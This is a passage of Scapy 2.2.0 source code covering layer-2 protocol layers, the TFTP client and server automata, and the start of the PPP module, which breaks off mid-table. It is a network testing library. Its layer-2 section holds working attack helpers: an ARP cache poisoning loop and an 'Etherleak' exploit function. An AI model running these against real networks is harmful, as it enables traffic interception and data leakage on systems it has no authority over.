conf.netcache.arp_cache.get(ip) if mac: return mac res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface = iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) if res is not None: mac = res.payload.hwsrc conf.netcache.arp_cache[ip] = mac return mac return None ### Fields class DestMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: x = conf.neighbor.resolve(pkt,pkt.payload) if x is None: x = "ff:ff:ff:ff:ff:ff" warning("Mac address to reach destination not found. Using broadcast.") return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) class SourceMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: iff,a,gw = pkt.payload.route() if iff: try: x = get_if_hwaddr(iff) except: pass if x is None: x = "00:00:00:00:00:00" return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) class ARPSourceMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: iff,a,gw = pkt.route() if iff: try: x = get_if_hwaddr(iff) except: pass if x is None: x = "00:00:00:00:00:00" return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) ### Layers class Ether(Packet): name = "Ethernet" fields_desc = [ DestMACField("dst"), SourceMACField("src"), XShortEnumField("type", 0x0000, ETHER_TYPES) ] def hashret(self): return struct.pack("H",self.type)+self.payload.hashret() def answers(self, other): if isinstance(other,Ether): if self.type == other.type: return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("%src% > %dst% (%type%)") @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] <= 1500: return Dot3 return cls class Dot3(Packet): name = "802.3" fields_desc = [ DestMACField("dst"), MACField("src", ETHER_ANY), LenField("len", None, "H") ] def extract_padding(self,s): l = self.len return s[:l],s[l:] def answers(self, other): if isinstance(other,Dot3): return self.payload.answers(other.payload) return 0 def mysummary(self): return "802.3 %s > %s" % (self.src, self.dst) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] > 1500: return Ether return cls class LLC(Packet): name = "LLC" fields_desc = [ XByteField("dsap", 0x00), XByteField("ssap", 0x00), ByteField("ctrl", 0) ] conf.neighbor.register_l3(Ether, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) conf.neighbor.register_l3(Dot3, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) class CookedLinux(Packet): name = "cooked linux" fields_desc = [ ShortEnumField("pkttype",0, {0: "unicast", 4:"sent-by-us"}), #XXX incomplete XShortField("lladdrtype",512), ShortField("lladdrlen",0), StrFixedLenField("src","",8), XShortEnumField("proto",0x800,ETHER_TYPES) ] class SNAP(Packet): name = "SNAP" fields_desc = [ X3BytesField("OUI",0x000000), XShortEnumField("code", 0x000, ETHER_TYPES) ] conf.neighbor.register_l3(Dot3, SNAP, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) class Dot1Q(Packet): name = "802.1Q" aliastypes = [ Ether ] fields_desc = [ BitField("prio", 0, 3), BitField("id", 0, 1), BitField("vlan", 1, 12), XShortEnumField("type", 0x0000, ETHER_TYPES) ] def answers(self, other): if isinstance(other,Dot1Q): if ( (self.type == other.type) and (self.vlan == other.vlan) ): return self.payload.answers(other.payload) else: return self.payload.answers(other) return 0 def default_payload_class(self, pay): if self.type <= 1500: return LLC return Raw def extract_padding(self,s): if self.type <= 1500: return s[:self.type],s[self.type:] return s,None def mysummary(self): if isinstance(self.underlayer, Ether): return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%") else: return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%") conf.neighbor.register_l3(Ether, Dot1Q, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload)) class STP(Packet): name = "Spanning Tree Protocol" fields_desc = [ ShortField("proto", 0), ByteField("version", 0), ByteField("bpdutype", 0), ByteField("bpduflags", 0), ShortField("rootid", 0), MACField("rootmac", ETHER_ANY), IntField("pathcost", 0), ShortField("bridgeid", 0), MACField("bridgemac", ETHER_ANY), ShortField("portid", 0), BCDFloatField("age", 1), BCDFloatField("maxage", 20), BCDFloatField("hellotime", 2), BCDFloatField("fwddelay", 15) ] class EAPOL(Packet): name = "EAPOL" fields_desc = [ ByteField("version", 1), ByteEnumField("type", 0, ["EAP_PACKET", "START", "LOGOFF", "KEY", "ASF"]), LenField("len", None, "H") ] EAP_PACKET= 0 START = 1 LOGOFF = 2 KEY = 3 ASF = 4 def extract_padding(self, s): l = self.len return s[:l],s[l:] def hashret(self): return chr(self.type)+self.payload.hashret() def answers(self, other): if isinstance(other,EAPOL): if ( (self.type == self.EAP_PACKET) and (other.type == self.EAP_PACKET) ): return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("EAPOL %EAPOL.type%") class EAP(Packet): name = "EAP" fields_desc = [ ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}), ByteField("id", 0), ShortField("len",None), ConditionalField(ByteEnumField("type",0, {1:"ID",4:"MD5"}), lambda pkt:pkt.code not in [EAP.SUCCESS, EAP.FAILURE]) ] REQUEST = 1 RESPONSE = 2 SUCCESS = 3 FAILURE = 4 TYPE_ID = 1 TYPE_MD5 = 4 def answers(self, other): if isinstance(other,EAP): if self.code == self.REQUEST: return 0 elif self.code == self.RESPONSE: if ( (other.code == self.REQUEST) and (other.type == self.type) ): return 1 elif other.code == self.RESPONSE: return 1 return 0 def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2]+chr((l>>8)&0xff)+chr(l&0xff)+p[4:] return p+pay class ARP(Packet): name = "ARP" fields_desc = [ XShortField("hwtype", 0x0001), XShortEnumField("ptype", 0x0800, ETHER_TYPES), ByteField("hwlen", 6), ByteField("plen", 4), ShortEnumField("op", 1, {"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, "Dyn-RARP-err":7, "InARP-req":8, "InARP-rep":9}), ARPSourceMACField("hwsrc"), SourceIPField("psrc","pdst"), MACField("hwdst", ETHER_ANY), IPField("pdst", "0.0.0.0") ] who_has = 1 is_at = 2 def answers(self, other): if isinstance(other,ARP): if ( (self.op == self.is_at) and (other.op == self.who_has) and (self.psrc == other.pdst) ): return 1 return 0 def route(self): dst = self.pdst if isinstance(dst,Gen): dst = iter(dst).next() return conf.route.route(dst) def extract_padding(self, s): return "",s def mysummary(self): if self.op == self.is_at: return self.sprintf("ARP is at %hwsrc% says %psrc%") elif self.op == self.who_has: return self.sprintf("ARP who has %pdst% says %psrc%") else: return self.sprintf("ARP %op% %psrc% > %pdst%") conf.neighbor.register_l3(Ether, ARP, lambda l2,l3: getmacbyip(l3.pdst)) class GRErouting(Packet): name = "GRE routing informations" fields_desc = [ ShortField("address_family",0), ByteField("SRE_offset", 0), FieldLenField("SRE_len", None, "routing_info", "B"), StrLenField("routing_info", "", "SRE_len"), ] class GRE(Packet): name = "GRE" fields_desc = [ BitField("chksum_present",0,1), BitField("routing_present",0,1), BitField("key_present",0,1), BitField("seqnum_present",0,1), BitField("strict_route_source",0,1), BitField("recursion control",0,3), BitField("flags",0,5), BitField("version",0,3), XShortEnumField("proto", 0x0000, ETHER_TYPES), ConditionalField(XShortField("chksum",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1), ConditionalField(XShortField("offset",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1), ConditionalField(XIntField("key",None), lambda pkt:pkt.key_present==1), ConditionalField(XIntField("seqence_number",None), lambda pkt:pkt.seqnum_present==1), ] def post_build(self, p, pay): p += pay if self.chksum_present and self.chksum is None: c = checksum(p) p = p[:4]+chr((c>>8)&0xff)+chr(c&0xff)+p[6:] return p bind_layers( Dot3, LLC, ) bind_layers( Ether, LLC, type=122) bind_layers( Ether, Dot1Q, type=33024) bind_layers( Ether, Ether, type=1) bind_layers( Ether, ARP, type=2054) bind_layers( Ether, EAPOL, type=34958) bind_layers( Ether, EAPOL, dst='01:80:c2:00:00:03', type=34958) bind_layers( CookedLinux, LLC, proto=122) bind_layers( CookedLinux, Dot1Q, proto=33024) bind_layers( CookedLinux, Ether, proto=1) bind_layers( CookedLinux, ARP, proto=2054) bind_layers( CookedLinux, EAPOL, proto=34958) bind_layers( GRE, LLC, proto=122) bind_layers( GRE, Dot1Q, proto=33024) bind_layers( GRE, Ether, proto=1) bind_layers( GRE, ARP, proto=2054) bind_layers( GRE, EAPOL, proto=34958) bind_layers( GRE, GRErouting, { "routing_present" : 1 } ) bind_layers( GRErouting, Raw, { "address_family" : 0, "SRE_len" : 0 }) bind_layers( GRErouting, GRErouting, { } ) bind_layers( EAPOL, EAP, type=0) bind_layers( LLC, STP, dsap=66, ssap=66, ctrl=3) bind_layers( LLC, SNAP, dsap=170, ssap=170, ctrl=3) bind_layers( SNAP, Dot1Q, code=33024) bind_layers( SNAP, Ether, code=1) bind_layers( SNAP, ARP, code=2054) bind_layers( SNAP, EAPOL, code=34958) bind_layers( SNAP, STP, code=267) conf.l2types.register(ARPHDR_ETHER, Ether) conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether) conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether) conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3) conf.l2types.register(113, CookedLinux) conf.l2types.register(144, CookedLinux) # called LINUX_IRDA, similar to CookedLinux conf.l3types.register(ETH_P_ARP, ARP) ### Technics @conf.commands.register def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) try: while 1: sendp(p, iface_hint=target) if conf.verb > 1: os.write(1,".") time.sleep(interval) except KeyboardInterrupt: pass class ARPingResult(SndRcvList): def __init__(self, res=None, name="ARPing", stats=None): SndRcvList.__init__(self, res, name, stats) def show(self): for s,r in self.res: print r.sprintf("%19s,Ether.src% %ARP.psrc%") @conf.commands.register def arping(net, timeout=2, cache=0, verbose=None, **kargs): """Send ARP who-has requests to determine which hosts are up arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None Set cache=True if you want arping to modify internal ARP-Cache""" if verbose is None: verbose = conf.verb ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net), verbose=verbose, filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) ans = ARPingResult(ans.res) if cache and ans is not None: for pair in ans: arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time()) if verbose: ans.show() return ans,unans @conf.commands.register def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00",**kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip),type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0,**kargs) return responses is not None @conf.commands.register def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans,unans = srp(Ether(dst=fake_bcast)/ARP(pdst=net), filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) ans = ARPingResult(ans.res, name="PROMISCPing") ans.display() return ans,unans class ARP_am(AnsweringMachine): function_name="farpd" filter = "arp" send_function = staticmethod(sendp) def parse_options(self, IP_addr=None, iface=None, ARP_addr=None): self.IP_addr=IP_addr self.iface=iface self.ARP_addr=ARP_addr def is_request(self, req): return (req.haslayer(ARP) and req.getlayer(ARP).op == 1 and (self.IP_addr == None or self.IP_addr == req.getlayer(ARP).pdst)) def make_reply(self, req): ether = req.getlayer(Ether) arp = req.getlayer(ARP) iff,a,gw = conf.route.route(arp.psrc) if self.iface != None: iff = iface ARP_addr = self.ARP_addr IP_addr = arp.pdst resp = Ether(dst=ether.src, src=ARP_addr)/ARP(op="is-at", hwsrc=ARP_addr, psrc=IP_addr, hwdst=arp.hwsrc, pdst=arp.pdst) return resp def sniff(self): sniff(iface=self.iface, **self.optsniff) @conf.commands.register def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srpflood(Ether()/ARP(pdst=target), prn=lambda (s,r): Padding in r and hexstr(r[Padding].load), filter="arp", **kargs) scapy-2.2.0/scapy/layers/tftp.py0000644000175000017500000003457111430356076014724 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ TFTP (Trivial File Transfer Protocol). """ import os,random from scapy.packet import * from scapy.fields import * from scapy.automaton import * from scapy.layers.inet import UDP TFTP_operations = { 1:"RRQ",2:"WRQ",3:"DATA",4:"ACK",5:"ERROR",6:"OACK" } class TFTP(Packet): name = "TFTP opcode" fields_desc = [ ShortEnumField("op", 1, TFTP_operations), ] class TFTP_RRQ(Packet): name = "TFTP Read Request" fields_desc = [ StrNullField("filename", ""), StrNullField("mode", "octet") ] def answers(self, other): return 0 def mysummary(self): return self.sprintf("RRQ %filename%"),[UDP] class TFTP_WRQ(Packet): name = "TFTP Write Request" fields_desc = [ StrNullField("filename", ""), StrNullField("mode", "octet") ] def answers(self, other): return 0 def mysummary(self): return self.sprintf("WRQ %filename%"),[UDP] class TFTP_DATA(Packet): name = "TFTP Data" fields_desc = [ ShortField("block", 0) ] def answers(self, other): return self.block == 1 and isinstance(other, TFTP_RRQ) def mysummary(self): return self.sprintf("DATA %block%"),[UDP] class TFTP_Option(Packet): fields_desc = [ StrNullField("oname",""), StrNullField("value","") ] def extract_padding(self, pkt): return "",pkt class TFTP_Options(Packet): fields_desc = [ PacketListField("options", [], TFTP_Option, length_from=lambda x:None) ] class TFTP_ACK(Packet): name = "TFTP Ack" fields_desc = [ ShortField("block", 0) ] def answers(self, other): if isinstance(other, TFTP_DATA): return self.block == other.block elif isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_OACK): return self.block == 0 return 0 def mysummary(self): return self.sprintf("ACK %block%"),[UDP] TFTP_Error_Codes = { 0: "Not defined", 1: "File not found", 2: "Access violation", 3: "Disk full or allocation exceeded", 4: "Illegal TFTP operation", 5: "Unknown transfer ID", 6: "File already exists", 7: "No such user", 8: "Terminate transfer due to option negotiation", } class TFTP_ERROR(Packet): name = "TFTP Error" fields_desc = [ ShortEnumField("errorcode", 0, TFTP_Error_Codes), StrNullField("errormsg", "")] def answers(self, other): return (isinstance(other, TFTP_DATA) or isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_ACK)) def mysummary(self): return self.sprintf("ERROR %errorcode%: %errormsg%"),[UDP] class TFTP_OACK(Packet): name = "TFTP Option Ack" fields_desc = [ ] def answers(self, other): return isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_RRQ) bind_layers(UDP, TFTP, dport=69) bind_layers(TFTP, TFTP_RRQ, op=1) bind_layers(TFTP, TFTP_WRQ, op=2) bind_layers(TFTP, TFTP_DATA, op=3) bind_layers(TFTP, TFTP_ACK, op=4) bind_layers(TFTP, TFTP_ERROR, op=5) bind_layers(TFTP, TFTP_OACK, op=6) bind_layers(TFTP_RRQ, TFTP_Options) bind_layers(TFTP_WRQ, TFTP_Options) bind_layers(TFTP_OACK, TFTP_Options) class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = "" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) @ATMT.action(receive_data) # @ATMT.action(receive_error) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): if Raw in pkt: recvd = pkt[Raw].load else: recvd = "" self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res class TFTP_write(Automaton): def parse_args(self, filename, data, server, sport=None, port=69,**kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport self.blocksize = 512 self.origdata = data def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.data = [ self.origdata[i*self.blocksize:(i+1)*self.blocksize] for i in range( len(self.origdata)/self.blocksize+1) ] self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_WRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.res = "" self.awaiting=0 raise self.WAITING_ACK() # WAITING_ACK @ATMT.state() def WAITING_ACK(self): pass @ATMT.receive_condition(WAITING_ACK) def received_ack(self,pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.SEND_DATA() @ATMT.receive_condition(WAITING_ACK) def received_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING_ACK, 3) def timeout_waiting(self): raise self.WAITING_ACK() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # SEND_DATA @ATMT.state() def SEND_DATA(self): self.awaiting += 1 self.last_packet = self.l3/TFTP_DATA(block=self.awaiting)/self.data.pop(0) self.send(self.last_packet) if self.data: raise self.WAITING_ACK() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() # END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_WRQ_server(Automaton): def parse_args(self, ip=None, sport=None, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.ip = ip self.sport = sport def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def BEGIN(self): self.blksize=512 self.blk=1 self.filedata="" self.my_tid = self.sport or random.randint(10000,65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) @ATMT.receive_condition(BEGIN) def receive_WRQ(self,pkt): if TFTP_WRQ in pkt: raise self.WAIT_DATA().action_parameters(pkt) @ATMT.action(receive_WRQ) def ack_WRQ(self, pkt): ip = pkt[IP] self.ip = ip.dst self.dst = ip.src self.filename = pkt[TFTP_WRQ].filename options = pkt[TFTP_Options] self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=pkt.sport)/TFTP() if options is None: self.last_packet = self.l3/TFTP_ACK(block=0) self.send(self.last_packet) else: opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2,"Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt) self.send(self.last_packet) @ATMT.state() def WAIT_DATA(self): pass @ATMT.timeout(WAIT_DATA, 1) def resend_ack(self): self.send(self.last_packet) raise self.WAIT_DATA() @ATMT.receive_condition(WAIT_DATA) def receive_data(self, pkt): if TFTP_DATA in pkt: data = pkt[TFTP_DATA] if data.block == self.blk: raise self.DATA(data) @ATMT.action(receive_data) def ack_data(self): self.last_packet = self.l3/TFTP_ACK(block = self.blk) self.send(self.last_packet) @ATMT.state() def DATA(self, data): self.filedata += data.load if len(data.load) < self.blksize: raise self.END() self.blk += 1 raise self.WAIT_DATA() @ATMT.state(final=1) def END(self): return self.filename,self.filedata split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_RRQ_server(Automaton): def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs): Automaton.parse_args(self,**kargs) if store is None: store = {} if dir is not None: self.dir = os.path.join(os.path.abspath(dir),"") else: self.dir = None self.store = store self.joker = joker self.ip = ip self.sport = sport self.serve_one = serve_one self.my_tid = self.sport or random.randint(10000,65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def WAIT_RRQ(self): self.blksize=512 self.blk=0 @ATMT.receive_condition(WAIT_RRQ) def receive_rrq(self, pkt): if TFTP_RRQ in pkt: raise self.RECEIVED_RRQ(pkt) @ATMT.state() def RECEIVED_RRQ(self, pkt): ip = pkt[IP] options = pkt[TFTP_Options] self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=ip.sport)/TFTP() self.filename = pkt[TFTP_RRQ].filename self.blk=1 self.data = None if self.filename in self.store: self.data = self.store[self.filename] elif self.dir is not None: fn = os.path.abspath(os.path.join(self.dir, self.filename)) if fn.startswith(self.dir): # Check we're still in the server's directory try: self.data=open(fn).read() except IOError: pass if self.data is None: self.data = self.joker if options: opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2,"Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt) self.send(self.last_packet) @ATMT.condition(RECEIVED_RRQ) def file_in_store(self): if self.data is not None: self.blknb = len(self.data)/self.blksize+1 raise self.SEND_FILE() @ATMT.condition(RECEIVED_RRQ) def file_not_found(self): if self.data is None: raise self.WAIT_RRQ() @ATMT.action(file_not_found) def send_error(self): self.send(self.l3/TFTP_ERROR(errorcode=1, errormsg=TFTP_Error_Codes[1])) @ATMT.state() def SEND_FILE(self): self.send(self.l3/TFTP_DATA(block=self.blk)/self.data[(self.blk-1)*self.blksize:self.blk*self.blksize]) @ATMT.timeout(SEND_FILE, 3) def timeout_waiting_ack(self): raise self.SEND_FILE() @ATMT.receive_condition(SEND_FILE) def received_ack(self, pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk: raise self.RECEIVED_ACK() @ATMT.state() def RECEIVED_ACK(self): self.blk += 1 @ATMT.condition(RECEIVED_ACK) def no_more_data(self): if self.blk > self.blknb: if self.serve_one: raise self.END() raise self.WAIT_RRQ() @ATMT.condition(RECEIVED_ACK, prio=2) def data_remaining(self): raise self.SEND_FILE() @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) scapy-2.2.0/scapy/layers/ppp.py0000644000175000017500000004011311430356075014532 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PPP (Point to Point Protocol) [RFC 1661] """ import struct from scapy.packet import * from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.fields import * class PPPoE(Packet): name = "PPP over Ethernet" fields_desc = [ BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0, {0:"Session"}), XShortField("sessionid", 0x0), ShortField("len", None) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-6 p = p[:4]+struct.pack("!H", l)+p[6:] return p class PPPoED(PPPoE): name = "PPP over Ethernet Discovery" fields_desc = [ BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0x09, {0x09:"PADI",0x07:"PADO",0x19:"PADR",0x65:"PADS",0xa7:"PADT"}), XShortField("sessionid", 0x0), ShortField("len", None) ] _PPP_proto = { 0x0001: "Padding Protocol", 0x0003: "ROHC small-CID [RFC3095]", 0x0005: "ROHC large-CID [RFC3095]", 0x0021: "Internet Protocol version 4", 0x0023: "OSI Network Layer", 0x0025: "Xerox NS IDP", 0x0027: "DECnet Phase IV", 0x0029: "Appletalk", 0x002b: "Novell IPX", 0x002d: "Van Jacobson Compressed TCP/IP", 0x002f: "Van Jacobson Uncompressed TCP/IP", 0x0031: "Bridging PDU", 0x0033: "Stream Protocol (ST-II)", 0x0035: "Banyan Vines", 0x0037: "reserved (until 1993) [Typo in RFC1172]", 0x0039: "AppleTalk EDDP", 0x003b: "AppleTalk SmartBuffered", 0x003d: "Multi-Link [RFC1717]", 0x003f: "NETBIOS Framing", 0x0041: "Cisco Systems", 0x0043: "Ascom Timeplex", 0x0045: "Fujitsu Link Backup and Load Balancing (LBLB)", 0x0047: "DCA Remote Lan", 0x0049: "Serial Data Transport Protocol (PPP-SDTP)", 0x004b: "SNA over 802.2", 0x004d: "SNA", 0x004f: "IPv6 Header Compression", 0x0051: "KNX Bridging Data [ianp]", 0x0053: "Encryption [Meyer]", 0x0055: "Individual Link Encryption [Meyer]", 0x0057: "Internet Protocol version 6 [Hinden]", 0x0059: "PPP Muxing [RFC3153]", 0x005b: "Vendor-Specific Network Protocol (VSNP) [RFC3772]", 0x0061: "RTP IPHC Full Header [RFC3544]", 0x0063: "RTP IPHC Compressed TCP [RFC3544]", 0x0065: "RTP IPHC Compressed Non TCP [RFC3544]", 0x0067: "RTP IPHC Compressed UDP 8 [RFC3544]", 0x0069: "RTP IPHC Compressed RTP 8 [RFC3544]", 0x006f: "Stampede Bridging", 0x0071: "Reserved [Fox]", 0x0073: "MP+ Protocol [Smith]", 0x007d: "reserved (Control Escape) [RFC1661]", 0x007f: "reserved (compression inefficient [RFC1662]", 0x0081: "Reserved Until 20-Oct-2000 [IANA]", 0x0083: "Reserved Until 20-Oct-2000 [IANA]", 0x00c1: "NTCITS IPI [Ungar]", 0x00cf: "reserved (PPP NLID)", 0x00fb: "single link compression in multilink [RFC1962]", 0x00fd: "compressed datagram [RFC1962]", 0x00ff: "reserved (compression inefficient)", 0x0201: "802.1d Hello Packets", 0x0203: "IBM Source Routing BPDU", 0x0205: "DEC LANBridge100 Spanning Tree", 0x0207: "Cisco Discovery Protocol [Sastry]", 0x0209: "Netcs Twin Routing [Korfmacher]", 0x020b: "STP - Scheduled Transfer Protocol [Segal]", 0x020d: "EDP - Extreme Discovery Protocol [Grosser]", 0x0211: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0213: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0231: "Luxcom", 0x0233: "Sigma Network Systems", 0x0235: "Apple Client Server Protocol [Ridenour]", 0x0281: "MPLS Unicast [RFC3032] ", 0x0283: "MPLS Multicast [RFC3032]", 0x0285: "IEEE p1284.4 standard - data packets [Batchelder]", 0x0287: "ETSI TETRA Network Protocol Type 1 [Nieminen]", 0x0289: "Multichannel Flow Treatment Protocol [McCann]", 0x2063: "RTP IPHC Compressed TCP No Delta [RFC3544]", 0x2065: "RTP IPHC Context State [RFC3544]", 0x2067: "RTP IPHC Compressed UDP 16 [RFC3544]", 0x2069: "RTP IPHC Compressed RTP 16 [RFC3544]", 0x4001: "Cray Communications Control Protocol [Stage]", 0x4003: "CDPD Mobile Network Registration Protocol [Quick]", 0x4005: "Expand accelerator protocol [Rachmani]", 0x4007: "ODSICP NCP [Arvind]", 0x4009: "DOCSIS DLL [Gaedtke]", 0x400B: "Cetacean Network Detection Protocol [Siller]", 0x4021: "Stacker LZS [Simpson]", 0x4023: "RefTek Protocol [Banfill]", 0x4025: "Fibre Channel [Rajagopal]", 0x4027: "EMIT Protocols [Eastham]", 0x405b: "Vendor-Specific Protocol (VSP) [RFC3772]", 0x8021: "Internet Protocol Control Protocol", 0x8023: "OSI Network Layer Control Protocol", 0x8025: "Xerox NS IDP Control Protocol", 0x8027: "DECnet Phase IV Control Protocol", 0x8029: "Appletalk Control Protocol", 0x802b: "Novell IPX Control Protocol", 0x802d: "reserved", 0x802f: "reserved", 0x8031: "Bridging NCP", 0x8033: "Stream Protocol Control Protocol", 0x8035: "Banyan Vines Control Protocol", 0x8037: "reserved (until 1993)", 0x8039: "reserved", 0x803b: "reserved", 0x803d: "Multi-Link Control Protocol", 0x803f: "NETBIOS Framing Control Protocol", 0x8041: "Cisco Systems Control Protocol", 0x8043: "Ascom Timeplex", 0x8045: "Fujitsu LBLB Control Protocol", 0x8047: 